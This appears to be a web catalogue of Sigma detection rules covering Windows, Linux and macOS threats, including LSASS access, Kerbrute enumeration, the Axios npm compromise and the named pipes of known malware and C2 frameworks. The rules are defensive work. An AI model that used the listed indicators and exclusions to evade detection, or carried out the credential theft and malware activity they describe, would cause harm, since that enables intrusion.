Detection rules › Sigma
Sigma rules: 0g
Audio Capture via SoundRecorder
#Detect attacker collecting audio via SoundRecorder application.
Known False Positives
- Legitimate audio capture by legitimate user.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Collection |
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| Sysmon | Event ID 1: Process creation |
| Security-Auditing | Event ID 4688: A new process has been created. |
Rule Body
title: Audio Capture via SoundRecorder
id: 83865853-59aa-449e-9600-74b9d89a6d6e
status: test
description: Detect attacker collecting audio via SoundRecorder application.
references:
- https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md
- https://eqllib.readthedocs.io/en/latest/analytics/f72a98cb-7b3d-4100-99c3-a138b6e9ff6e.html
author: E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community
date: 2019-10-24
modified: 2021-11-27
tags:
- attack.collection
- attack.t1123
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\SoundRecorder.exe'
CommandLine|contains: '/FILE'
condition: selection
falsepositives:
- Legitimate audio capture by legitimate user.
level: medium
Stages and Predicates
Stage 0: condition
selectionStage 1: selection
selection:
Image|endswith: '\SoundRecorder.exe'
CommandLine|contains: '/FILE'
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
CommandLine | match |
| field:"CommandLine" kind:match value:"/FILE" |
Image | ends_with |
| field:"Image" kind:ends_with value:"\SoundRecorder.exe" |
Axios NPM Compromise File Creation Indicators - Linux
#Detects file creation events linked to the Axios NPM supply chain compromise. Axios is a popular JavaScript HTTP client. On March 30, 2026, malicious versions (1.14.1, 0.30.4) were published to npm, injecting a dependency (plain-crypto-js@4.2.1) that executed a postinstall script as a cross-platform RAT dropper.
Known False Positives
- Highly unlikely
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Initial Access | |
| Command & Control |
Telemetry Coverage
| Platform | Record / event type |
|---|---|
| Linux | Event ID 11: File created |
Rule Body
title: Axios NPM Compromise File Creation Indicators - Linux
id: b7cb840c-11f6-47f7-b3ef-5524739c9077
status: experimental
description: |
Detects file creation events linked to the Axios NPM supply chain compromise. Axios is a popular JavaScript HTTP client.
On March 30, 2026, malicious versions (1.14.1, 0.30.4) were published to npm, injecting a dependency (plain-crypto-js@4.2.1) that executed a postinstall script as a cross-platform RAT dropper.
references:
- https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan
- https://www.derp.ca/research/axios-npm-supply-chain-rat/
- https://www.trendmicro.com/zh_hk/research/26/c/axios-npm-package-compromised.html
- https://www.elastic.co/security-labs/axios-supply-chain-compromise-detections
- https://www.virustotal.com/gui/file/e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2026-04-01
tags:
- attack.initial-access
- attack.t1195.002
- attack.command-and-control
- attack.t1105
- detection.emerging-threats
logsource:
category: file_event
product: linux
detection:
selection:
Image|endswith: '/curl'
TargetFilename: '/tmp/ld.py'
condition: selection
falsepositives:
- Highly unlikely
level: high
Stages and Predicates
Stage 0: condition
selectionStage 1: selection
selection:
Image|endswith: '/curl'
TargetFilename: '/tmp/ld.py'
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
Image | ends_with |
| field:"Image" kind:ends_with value:"/curl" |
TargetFilename | eq |
| field:"TargetFilename" kind:eq value:"/tmp/ld.py" |
BitLockerTogo.EXE Execution
#Detects the execution of "BitLockerToGo.EXE". BitLocker To Go is BitLocker Drive Encryption on removable data drives. This feature includes the encryption of, USB flash drives, SD cards, External hard disk drives, Other drives that are formatted by using the NTFS, FAT16, FAT32, or exFAT file system. This is a rarely used application and usage of it at all is worth investigating. Malware such as Lumma stealer has been seen using this process as a target for process hollowing.
Known False Positives
- Legitimate usage of BitLockerToGo.exe to encrypt portable devices.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Stealth |
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| Sysmon | Event ID 1: Process creation |
| Security-Auditing | Event ID 4688: A new process has been created. |
Rule Body
title: BitLockerTogo.EXE Execution
id: 7f2376f9-42ee-4dfc-9360-fecff9a88fc8
status: test
description: |
Detects the execution of "BitLockerToGo.EXE".
BitLocker To Go is BitLocker Drive Encryption on removable data drives. This feature includes the encryption of, USB flash drives, SD cards, External hard disk drives, Other drives that are formatted by using the NTFS, FAT16, FAT32, or exFAT file system.
This is a rarely used application and usage of it at all is worth investigating.
Malware such as Lumma stealer has been seen using this process as a target for process hollowing.
references:
- https://tria.ge/240521-ynezpagf56/behavioral1
- https://any.run/report/6eea2773c1b4b5c6fb7c142933e220c96f9a4ec89055bf0cf54accdcde7df535/a407f006-ee45-420d-b576-f259094df091
- https://bazaar.abuse.ch/sample/8c75f8e94486f5bbf461505823f5779f328c5b37f1387c18791e0c21f3fdd576/
- https://bazaar.abuse.ch/sample/64e6605496919cd76554915cbed88e56fdec10dec6523918a631754664b8c8d3/
author: Josh Nickels, mttaggart
date: 2024-07-11
tags:
- attack.stealth
- attack.t1218
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\BitLockerToGo.exe'
condition: selection
falsepositives:
- Legitimate usage of BitLockerToGo.exe to encrypt portable devices.
level: low
Stages and Predicates
Stage 0: condition
selectionStage 1: selection
selection:
Image|endswith: '\BitLockerToGo.exe'
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
Image | ends_with |
| field:"Image" kind:ends_with value:"\BitLockerToGo.exe" |
CVE-2021-31979 CVE-2021-33771 Exploits
#Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum
Known False Positives
- Unlikely
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Initial Access | |
| Execution |
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| Sysmon | Event ID 13: RegistryEvent (Value Set) |
Rule Body
title: CVE-2021-31979 CVE-2021-33771 Exploits
id: 32b5db62-cb5f-4266-9639-0fa48376ac00
status: test
description: Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum
references:
- https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/
- https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/
author: Sittikorn S, frack113
date: 2021-07-16
modified: 2023-08-17
tags:
- attack.initial-access
- attack.execution
- attack.credential-access
- attack.t1566
- attack.t1203
- cve.2021-33771
- cve.2021-31979
- detection.emerging-threats
# - threat_group.Sourgum
logsource:
product: windows
category: registry_set
detection:
selection:
TargetObject|endswith:
- CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32\(Default)
- CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\(Default)
filter:
Details|endswith:
- system32\wbem\wmiutils.dll
- system32\wbem\wbemsvc.dll
condition: selection and not filter
falsepositives:
- Unlikely
level: critical
Stages and Predicates
Stage 0: condition
selection and not filterStage 1: selection
selection:
TargetObject|endswith:
- CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32\(Default)
- CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\InProcServer32\(Default)
Stage 2: not filter
filter:
Details|endswith:
- system32\wbem\wmiutils.dll
- system32\wbem\wbemsvc.dll
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
TargetObject | ends_with |
| field:"TargetObject" kind:ends_with |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
Details | ends_with | system32\wbem\wbemsvc.dll | excludes:Details field:"Details" value:"system32\wbem\wbemsvc.dll" |
Details | ends_with | system32\wbem\wmiutils.dll | excludes:Details field:"Details" value:"system32\wbem\wmiutils.dll" |
Elevated System Shell Spawned
#Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges. Use this rule to hunt for potential suspicious processes.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Execution |
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| Sysmon | Event ID 1: Process creation |
Rule Body
title: Elevated System Shell Spawned
id: 61065c72-5d7d-44ef-bf41-6a36684b545f
related:
- id: 178e615d-e666-498b-9630-9ed363038101
type: similar
status: test
description: |
Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges. Use this rule to hunt for potential suspicious processes.
references:
- https://github.com/Wh04m1001/SysmonEoP
author: Nasreddine Bencherchali (Nextron Systems), frack113
date: 2023-11-23
modified: 2025-03-06
tags:
- attack.privilege-escalation
- attack.execution
- attack.t1059
- detection.threat-hunting
logsource:
product: windows
category: process_creation
detection:
selection_shell:
- Image|endswith:
- '\powershell.exe'
- '\powershell_ise.exe'
- '\pwsh.exe'
- '\cmd.exe'
- OriginalFileName:
- 'PowerShell.EXE'
- 'powershell_ise.EXE'
- 'pwsh.dll'
- 'Cmd.Exe'
selection_user:
User|contains: # covers many language settings
- 'AUTHORI'
- 'AUTORI'
LogonId: '0x3e7'
condition: all of selection_*
falsepositives:
- Unknown
level: medium
Stages and Predicates
Stage 0: condition
all of selection_*Stage 1: selection_shell
selection_shell:
- Image|endswith:
- '\powershell.exe'
- '\powershell_ise.exe'
- '\pwsh.exe'
- '\cmd.exe'
- OriginalFileName:
- 'PowerShell.EXE'
- 'powershell_ise.EXE'
- 'pwsh.dll'
- 'Cmd.Exe'
Stage 2: selection_user
selection_user:
User|contains:
- 'AUTHORI'
- 'AUTORI'
LogonId: '0x3e7'
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
Image | ends_with |
| field:"Image" kind:ends_with |
LogonId | eq |
| field:"LogonId" kind:eq value:"0x3e7" |
OriginalFileName | eq |
| field:"OriginalFileName" kind:eq |
User | match |
| field:"user" kind:match |
ImagingDevices Unusual Parent/Child Processes
#Detects unusual parent or children of the ImagingDevices.exe (Windows Contacts) process as seen being used with Bumblebee activity
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Execution | No specific technique |
| Stealth | No specific technique |
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| Sysmon | Event ID 1: Process creation |
| Security-Auditing | Event ID 4688: A new process has been created. |
Rule Body
title: ImagingDevices Unusual Parent/Child Processes
id: f11f2808-adb4-46c0-802a-8660db50fa99
status: test
description: Detects unusual parent or children of the ImagingDevices.exe (Windows Contacts) process as seen being used with Bumblebee activity
references:
- https://thedfirreport.com/2022/09/26/bumblebee-round-two/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-09-27
modified: 2022-12-29
tags:
- attack.execution
- attack.stealth
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith:
# Add more if known
- \WmiPrvSE.exe
- \svchost.exe
- \dllhost.exe
Image|endswith: '\ImagingDevices.exe'
selection_child:
# You can add specific suspicious child processes (such as cmd, powershell...) to increase the accuracy
ParentImage|endswith: '\ImagingDevices.exe'
condition: 1 of selection_*
falsepositives:
- Unknown
level: high
Stages and Predicates
Stage 0: condition
1 of selection_*Stage 1: selection_parent
selection_parent:
ParentImage|endswith:
- \WmiPrvSE.exe
- \svchost.exe
- \dllhost.exe
Image|endswith: '\ImagingDevices.exe'
Stage 2: selection_child
selection_child:
ParentImage|endswith: '\ImagingDevices.exe'
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
Image | ends_with |
| field:"Image" kind:ends_with value:"\ImagingDevices.exe" |
ParentImage | ends_with |
| field:"ParentImage" kind:ends_with |
ISO Image Mounted
#Detects the mount of an ISO image on an endpoint
Known False Positives
- Software installation ISO files
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Initial Access |
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| Security-Auditing | Event ID 4663: An attempt was made to access an object. |
Rule Body
title: ISO Image Mounted
id: 0248a7bc-8a9a-4cd8-a57e-3ae8e073a073
status: test
description: Detects the mount of an ISO image on an endpoint
references:
- https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore
- https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages
- https://twitter.com/MsftSecIntel/status/1257324139515269121
- https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1553.005/T1553.005.md#atomic-test-1---mount-iso-image
author: Syed Hasan (@syedhasan009)
date: 2021-05-29
modified: 2023-11-09
tags:
- attack.initial-access
- attack.t1566.001
logsource:
product: windows
service: security
definition: 'The advanced audit policy setting "Object Access > Audit Removable Storage" must be configured for Success/Failure'
detection:
selection:
EventID: 4663
ObjectServer: 'Security'
ObjectType: 'File'
ObjectName|startswith: '\Device\CdRom'
filter_main_generic:
ObjectName:
- '\Device\CdRom0\autorun.ico'
- '\Device\CdRom0\setup.exe'
- '\Device\CdRom0\setup64.exe'
condition: selection and not 1 of filter_main_*
falsepositives:
- Software installation ISO files
level: medium
Stages and Predicates
Stage 0: condition
selection and not 1 of filter_main_*Stage 1: selection
selection:
EventID: 4663
ObjectServer: 'Security'
ObjectType: 'File'
ObjectName|startswith: '\Device\CdRom'
Stage 2: not filter_main_generic
filter_main_generic:
ObjectName:
- '\Device\CdRom0\autorun.ico'
- '\Device\CdRom0\setup.exe'
- '\Device\CdRom0\setup64.exe'
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
ObjectName | starts_with |
| field:"ObjectName" kind:starts_with value:"\Device\CdRom" |
ObjectServer | eq |
| field:"ObjectServer" kind:eq value:"Security" |
ObjectType | eq |
| field:"ObjectType" kind:eq value:"File" |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
ObjectName | eq | \Device\CdRom0\autorun.ico | excludes:ObjectName field:"ObjectName" value:"\Device\CdRom0\autorun.ico" |
ObjectName | eq | \Device\CdRom0\setup.exe | excludes:ObjectName field:"ObjectName" value:"\Device\CdRom0\setup.exe" |
ObjectName | eq | \Device\CdRom0\setup64.exe | excludes:ObjectName field:"ObjectName" value:"\Device\CdRom0\setup64.exe" |
Kerberos enumeration with existing/unexisting users (Kerbrute)
#Detects scenarios where an attacker attempts to enumerate existing or non existing users using "Kerbrute". This use case can also be related to spot vulnearbility "MS14-068".
Known False Positives
- Missconfigured application or identity services
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Credential Access |
Telemetry Coverage
Rule Body
title: Kerberos enumeration with existing/unexisting users (Kerbrute)
name: kerbrute_enumeration
description: Detects scenarios where an attacker attempts to enumerate existing or non existing users using "Kerbrute". This use case can also be related to spot vulnearbility "MS14-068".
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0006-Credential%20Access/T1110.xxx-Brut%20force
- https://github.com/ropnop/kerbrute
- https://www.jpcert.or.jp/english/pub/sr/20170612ac-ir_research_en.pdf
tags:
- attack.credential_access
- attack.t1110
author: mdecrevoisier
status: experimental
logsource:
product: windows
service: security
detection:
selection:
EventID:
- 4771
- 4768
Status: "0x6" # KDC_ERR_C_PRINCIPAL_UNKNOWN
TicketOptions: 0x50800000
filter:
- IpAddress: "%domain_controllers_ips%" # reduce amount of false positives
- TargetUserName: "%account_allowed_proxy%" # accounts allowed to perform proxiable requests
condition: selection and not filter
falsepositives:
- Missconfigured application or identity services
level: high
---
title: Kerberos enumeration with existing/unexisting users (Kerbrute) Count
status: experimental
correlation:
type: value_count
rules:
- kerbrute_enumeration # Referenced here
group-by:
- Computer
timespan: 30m
condition:
gte: 20
field: TargetUserName # Count how many failed logins were reported on the domain controller.
level: high
Stages and Predicates
Stage 0: condition
selection and not filterStage 1: selection
selection:
EventID:
- 4771
- 4768
Status: "0x6"
TicketOptions: 0x50800000
Stage 2: not filter
filter:
- IpAddress: "%domain_controllers_ips%"
- TargetUserName: "%account_allowed_proxy%"
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
Status | eq |
| field:"Status" kind:eq value:"0x6" |
TicketOptions | eq |
| field:"TicketOptions" kind:eq value:"1350565888" |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
IpAddress | eq | %domain_controllers_ips% | excludes:IpAddress field:"IpAddress" value:"%domain_controllers_ips%" |
TargetUserName | eq | %account_allowed_proxy% | excludes:TargetUserName field:"TargetUserName" value:"%account_allowed_proxy%" |
LiveKD Kernel Memory Dump File Created
#Detects the creation of a file that has the same name as the default LiveKD kernel memory dump.
Known False Positives
- In rare occasions administrators might leverage LiveKD to perform live kernel debugging. This should not be allowed on production systems. Investigate and apply additional filters where necessary.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Privilege Escalation | No specific technique |
| Stealth | No specific technique |
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| Sysmon | Event ID 11: FileCreate |
Rule Body
title: LiveKD Kernel Memory Dump File Created
id: 814ddeca-3d31-4265-8e07-8cc54fb44903
status: test
description: Detects the creation of a file that has the same name as the default LiveKD kernel memory dump.
references:
- Internal Research
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-05-16
tags:
- attack.privilege-escalation
- attack.stealth
logsource:
product: windows
category: file_event
detection:
selection:
TargetFilename: 'C:\Windows\livekd.dmp'
condition: selection
falsepositives:
- In rare occasions administrators might leverage LiveKD to perform live kernel debugging. This should not be allowed on production systems. Investigate and apply additional filters where necessary.
level: high
Stages and Predicates
Stage 0: condition
selectionStage 1: selection
selection:
TargetFilename: 'C:\Windows\livekd.dmp'
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
TargetFilename | eq |
| field:"TargetFilename" kind:eq value:"C:\Windows\livekd.dmp" |
LSASS Access Detected via Attack Surface Reduction
#Detects Access to LSASS Process
Known False Positives
- Google Chrome GoogleUpdate.exe
- Some Taskmgr.exe related activity
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Credential Access |
Telemetry Coverage
Rule Body
title: LSASS Access Detected via Attack Surface Reduction
id: a0a278fe-2c0e-4de2-ac3c-c68b08a9ba98
status: test
description: Detects Access to LSASS Process
references:
- https://learn.microsoft.com/en-us/defender-endpoint/attack-surface-reduction
author: Markus Neis
date: 2018-08-26
modified: 2022-08-13
tags:
- attack.credential-access
- attack.t1003.001
logsource:
product: windows
service: windefend
definition: 'Requirements:Enabled Block credential stealing from the Windows local security authority subsystem (lsass.exe) from Attack Surface Reduction (GUID: 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2)'
detection:
selection:
EventID: 1121
Path|endswith: '\lsass.exe'
filter_thor:
ProcessName|startswith: 'C:\Windows\Temp\asgard2-agent\'
ProcessName|endswith:
- '\thor64.exe'
- '\thor.exe'
filter_exact:
ProcessName:
- 'C:\Windows\System32\atiesrxx.exe'
- 'C:\Windows\System32\CompatTelRunner.exe'
- 'C:\Windows\System32\msiexec.exe'
- 'C:\Windows\System32\nvwmi64.exe'
- 'C:\Windows\System32\svchost.exe'
- 'C:\Windows\System32\Taskmgr.exe'
- 'C:\Windows\System32\wbem\WmiPrvSE.exe'
- 'C:\Windows\SysWOW64\msiexec.exe'
filter_begins:
ProcessName|startswith:
- 'C:\Windows\System32\DriverStore\'
- 'C:\WINDOWS\Installer\'
- 'C:\Program Files\'
- 'C:\Program Files (x86)\'
condition: selection and not 1 of filter_*
falsepositives:
- Google Chrome GoogleUpdate.exe
- Some Taskmgr.exe related activity
level: high
Stages and Predicates
Stage 0: condition
selection and not 1 of filter_*Stage 1: selection
selection:
EventID: 1121
Path|endswith: '\lsass.exe'
Stage 2: not filter_*
filter_thor:
ProcessName|startswith: 'C:\Windows\Temp\asgard2-agent\'
ProcessName|endswith:
- '\thor64.exe'
- '\thor.exe'
filter_exact:
ProcessName:
- 'C:\Windows\System32\atiesrxx.exe'
- 'C:\Windows\System32\CompatTelRunner.exe'
- 'C:\Windows\System32\msiexec.exe'
- 'C:\Windows\System32\nvwmi64.exe'
- 'C:\Windows\System32\svchost.exe'
- 'C:\Windows\System32\Taskmgr.exe'
- 'C:\Windows\System32\wbem\WmiPrvSE.exe'
- 'C:\Windows\SysWOW64\msiexec.exe'
filter_begins:
ProcessName|startswith:
- 'C:\Windows\System32\DriverStore\'
- 'C:\WINDOWS\Installer\'
- 'C:\Program Files\'
- 'C:\Program Files (x86)\'
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
Path | ends_with |
| field:"Path" kind:ends_with value:"\lsass.exe" |
Exclusions
The rule actively suppresses these predicates.
macOS TCC Privacy Bypass Attempt
#Detects potential attempts to bypass macOS Transparency, Consent, and Control (TCC) privacy protections. TCC protects sensitive resources like Camera, Microphone, Screen Recording, and Full Disk Access.
Known False Positives
- Legitimate applications requesting sensitive permissions
- First-time application launches requesting access
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Privilege Escalation |
Rule Body
title: macOS TCC Privacy Bypass Attempt
id: a1b2c3d4-e5f6-4789-abcd-ef0123456789
status: experimental
description: |
Detects potential attempts to bypass macOS Transparency, Consent, and Control (TCC)
privacy protections. TCC protects sensitive resources like Camera, Microphone,
Screen Recording, and Full Disk Access.
references:
- https://attack.mitre.org/techniques/T1548/
- https://developer.apple.com/documentation/security/tcc
- https://objective-see.org/blog/blog_0x6C.html
author: Eric Brown - Nebulock, Inc.
date: 2025/01/22
modified: 2025/01/22
logsource:
product: macos
service: unifiedlog
detection:
selection_subsystem:
subsystem: com.apple.TCC
selection_bypass_indicators:
message|contains:
- 'access denied'
- 'Denied'
- 'prompting for access'
- 'kTCCServiceSystemPolicyAllFiles'
- 'kTCCServiceScreenCapture'
- 'kTCCServiceMicrophone'
- 'kTCCServiceCamera'
- 'kTCCServiceAccessibility'
- 'kTCCServicePostEvent'
filter_normal_prompts:
message|contains:
- 'User approved'
- 'granted'
condition: selection_subsystem and selection_bypass_indicators and not filter_normal_prompts
falsepositives:
- Legitimate applications requesting sensitive permissions
- First-time application launches requesting access
level: high
tags:
- attack.privilege_escalation
- attack.defense_evasion
- attack.t1548
Stages and Predicates
Stage 0: condition
selection_subsystem and selection_bypass_indicators and not filter_normal_promptsStage 1: selection_subsystem
selection_subsystem:
subsystem: com.apple.TCC
Stage 2: selection_bypass_indicators
selection_bypass_indicators:
message|contains:
- 'access denied'
- 'Denied'
- 'prompting for access'
- 'kTCCServiceSystemPolicyAllFiles'
- 'kTCCServiceScreenCapture'
- 'kTCCServiceMicrophone'
- 'kTCCServiceCamera'
- 'kTCCServiceAccessibility'
- 'kTCCServicePostEvent'
Stage 3: not filter_normal_prompts
filter_normal_prompts:
message|contains:
- 'User approved'
- 'granted'
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
message | match |
| field:"message" kind:match |
subsystem | eq |
| field:"subsystem" kind:eq value:"com.apple.TCC" |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
message | match | User approved | excludes:message field:"message" value:"User approved" |
message | match | granted | excludes:message field:"message" value:"granted" |
Malicious Named Pipe Created
#Detects the creation of a named pipe seen used by known APTs or malware.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Privilege Escalation | |
| Stealth |
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| Sysmon | Event ID 17: PipeEvent (Pipe Created) |
| Sysmon | Event ID 18: PipeEvent (Pipe Connected) |
Rule Body
title: Malicious Named Pipe Created
id: fe3ac066-98bb-432a-b1e7-a5229cb39d4a
status: test
description: Detects the creation of a named pipe seen used by known APTs or malware.
references:
- https://securelist.com/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/71275/
- https://securelist.com/faq-the-projectsauron-apt/75533/
- https://web.archive.org/web/20180725233601/https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
- https://www.us-cert.gov/ncas/alerts/TA17-117A
- https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
- https://thedfirreport.com/2020/06/21/snatch-ransomware/
- https://github.com/RiccardoAncarani/LiquidSnake
- https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity
- https://us-cert.cisa.gov/ncas/analysis-reports/ar19-304a
- https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf
- https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/
- https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
author: Florian Roth (Nextron Systems), blueteam0ps, elhoim
date: 2017-11-06
modified: 2023-08-07
tags:
- attack.privilege-escalation
- attack.stealth
- attack.t1055
logsource:
product: windows
category: pipe_created
definition: 'Note that you have to configure logging for Named Pipe Events in Sysmon config (Event ID 17 and Event ID 18). The basic configuration is in popular sysmon configuration (https://github.com/SwiftOnSecurity/sysmon-config), but it is worth verifying. You can also use other repo, e.g. https://github.com/Neo23x0/sysmon-config, https://github.com/olafhartong/sysmon-modular. How to test detection? You can check powershell script from this site https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575'
detection:
selection:
PipeName:
- '\46a676ab7f179e511e30dd2dc41bd388' # Project Sauron
- '\583da945-62af-10e8-4902-a8f205c72b2e' # SolarWinds SUNBURST malware
- '\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7' # LiquidSnake
- '\9f81f59bc58452127884ce513865ed20' # Project Sauron
- '\adschemerpc' # Turla HyperStack
- '\ahexec' # Sofacy group malware
- '\AnonymousPipe' # Hidden Cobra Hoplight
- '\bc31a7' # Pacifier
- '\bc367' # Pacifier
- '\bizkaz' # Snatch Ransomware
- '\csexecsvc' # CSEXEC default
- '\dce_3d' # Qbot
- '\e710f28d59aa529d6792ca6ff0ca1b34' # Project Sauron
- '\gruntsvc' # Covenant default
- '\isapi_dg' # Uroburos Malware
- '\isapi_dg2' # Uroburos Malware
- '\isapi_http' # Uroburos Malware
- '\jaccdpqnvbrrxlaf' # PoshC2 default
- '\lsassw' # Wild Neutron APT malware
- '\NamePipe_MoreWindows' # Cloud Hopper - RedLeaves
- '\pcheap_reuse' # Pipe used by Equation Group malware
- '\Posh*' # PoshC2 default
- '\rpchlp_3' # Project Sauron
- '\sdlrpc' # Cobra Trojan
- '\svcctl' # Crackmapexec smbexec default
- '\testPipe' # Emissary Panda Hyperbro
- '\winsession' # Wild Neutron APT malware
# - '\status_*' # CS default https://github.com/SigmaHQ/sigma/issues/253
condition: selection
falsepositives:
- Unknown
level: critical
Stages and Predicates
Stage 0: condition
selectionStage 1: selection
selection:
PipeName:
- '\46a676ab7f179e511e30dd2dc41bd388'
- '\583da945-62af-10e8-4902-a8f205c72b2e'
- '\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7'
- '\9f81f59bc58452127884ce513865ed20'
- '\adschemerpc'
- '\ahexec'
- '\AnonymousPipe'
- '\bc31a7'
- '\bc367'
- '\bizkaz'
- '\csexecsvc'
- '\dce_3d'
- '\e710f28d59aa529d6792ca6ff0ca1b34'
- '\gruntsvc'
- '\isapi_dg'
- '\isapi_dg2'
- '\isapi_http'
- '\jaccdpqnvbrrxlaf'
- '\lsassw'
- '\NamePipe_MoreWindows'
- '\pcheap_reuse'
- '\Posh*'
- '\rpchlp_3'
- '\sdlrpc'
- '\svcctl'
- '\testPipe'
- '\winsession'
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
PipeName | eq |
| field:"PipeName" kind:eq |
Medium risk Active Directory group membership change
#Detects scenarios where a suspicious group membership is changed.
Known False Positives
- Administrator activity
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Persistence |
Telemetry Coverage
Rule Body
title: Medium risk Active Directory group membership change
description: Detects scenarios where a suspicious group membership is changed.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0003-Persistence/T1098.xxx-Account%20manipulation
- https://ss64.com/nt/syntax-groups.html
- https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers
tags:
- attack.persistence
- attack.t1098
author: mdecrevoisier
status: experimental
logsource:
product: windows
service: security
detection:
selection:
EventID:
- 4728 # security global group member added
- 4756 # universal group member added
#- 4732 # local and domain local group are covered in another rule
TargetSid|startswith: 'S-1-5-21-'
TargetSid|endswith:
- '-514' # Domain Guests
- '-517' # Cert Publishers
- '-520' # Group Policy Creator Owners
condition: selection
falsepositives:
- Administrator activity
level: medium
Stages and Predicates
Stage 0: condition
selectionStage 1: selection
selection:
EventID:
- 4728
- 4756
TargetSid|startswith: 'S-1-5-21-'
TargetSid|endswith:
- '-514'
- '-517'
- '-520'
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
TargetSid | ends_with |
| field:"TargetSid" kind:ends_with |
TargetSid | starts_with |
| field:"TargetSid" kind:starts_with value:"S-1-5-21-" |
Potential Exploitation of RCE Vulnerability CVE-2025-33053
